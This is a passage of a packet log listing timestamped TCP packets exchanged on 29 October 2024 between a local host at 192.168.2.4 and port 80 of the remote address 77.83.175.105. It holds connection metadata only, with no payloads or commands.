Oct 29, 2024 04:17:20.776237965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776247978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776251078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776293039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776464939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776490927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776504993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776516914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776527882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776530981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776562929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776653051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776664019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776674986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776699066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776716948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776732922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776745081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776757002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776767015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776771069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776777983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776798010 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776827097 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776840925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776878119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776894093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776905060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776917934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.776930094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776953936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.776967049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.893790007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893831968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893851042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893851042 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.893879890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893887997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.893887997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.893891096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893901110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893920898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.893934011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893945932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893954992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893959999 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.893968105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893979073 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.893985987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.893996000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894006014 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894022942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894025087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894037008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894052029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894059896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894063950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894073963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894087076 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894110918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894164085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894181013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894193888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894203901 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894203901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894241095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894253016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894270897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894292116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894304037 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894309998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894320965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894323111 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894349098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894409895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894419909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894432068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894442081 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894469023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894494057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894510984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894522905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894527912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894552946 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894553900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894566059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894593954 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894617081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894627094 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894655943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894709110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894785881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894797087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894809008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894819975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894829988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894849062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894916058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894939899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894953966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894954920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894967079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894977093 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.894978046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.894994020 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895009995 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895031929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895041943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895052910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895075083 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895103931 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895112038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895123959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895134926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895148039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895154953 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895174026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895179033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895246029 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895385981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895401001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895415068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895433903 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895436049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895451069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895456076 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895462036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895486116 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895494938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895495892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895539999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895549059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895550013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895572901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895577908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895634890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895646095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895654917 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895689964 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895695925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895704985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895726919 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895843983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895888090 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.895978928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.895992994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.896006107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.896012068 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.896023989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.896024942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.896037102 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.896039009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.896050930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.896056890 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.896060944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.896069050 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.896070957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.896085978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.896089077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.896097898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.896099091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.896121025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.896140099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.942114115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.942136049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.942148924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.942176104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.942222118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.012969971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.012981892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013000965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013024092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013035059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013040066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013056993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013067961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013084888 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013092995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013098001 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013103962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013123989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013125896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013137102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013147116 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013148069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013159037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013170958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013179064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013183117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013205051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013221979 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013246059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013256073 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013267994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013278961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013290882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013307095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013307095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013323069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013330936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013348103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013358116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.013375998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.013406038 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.062305927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.068341970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300460100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300472021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300488949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300499916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300509930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300527096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300535917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300534964 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.300549984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300564051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300569057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300581932 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.300581932 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.300587893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300599098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300601959 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.300606012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300615072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300623894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300626993 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.300628901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300635099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300642967 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300647974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.300681114 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.300956011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300975084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300987959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.300997019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301012039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301031113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301049948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301059008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301065922 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301079988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301086903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301099062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301109076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301110029 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301119089 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301122904 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301130056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301139116 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301158905 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301178932 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301199913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301208973 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301217079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301228046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301239967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301259995 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301290989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301301003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301311016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301328897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301337957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301343918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301367998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301465034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301482916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301495075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301506042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301517010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301518917 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301533937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301557064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301651955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301661015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301678896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301690102 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301691055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301701069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301709890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301721096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301723003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301728964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301738024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301759005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301800966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301831961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301851988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301863909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301898003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301924944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301933050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301966906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.301970005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.301976919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302006006 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302016973 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302026033 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302058935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302115917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302124977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302134037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302144051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302154064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302159071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302172899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302184105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302215099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302249908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302258968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302284002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302299976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302313089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302336931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302357912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302369118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302371025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302378893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302388906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302401066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302412033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302424908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302448988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302459955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302499056 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302512884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302522898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302551031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302581072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302597046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302607059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302623034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302642107 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302658081 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302740097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302750111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302759886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302768946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302771091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.302778959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.302788019 CET	49755	80	192.168.2.4	77.83.175.105
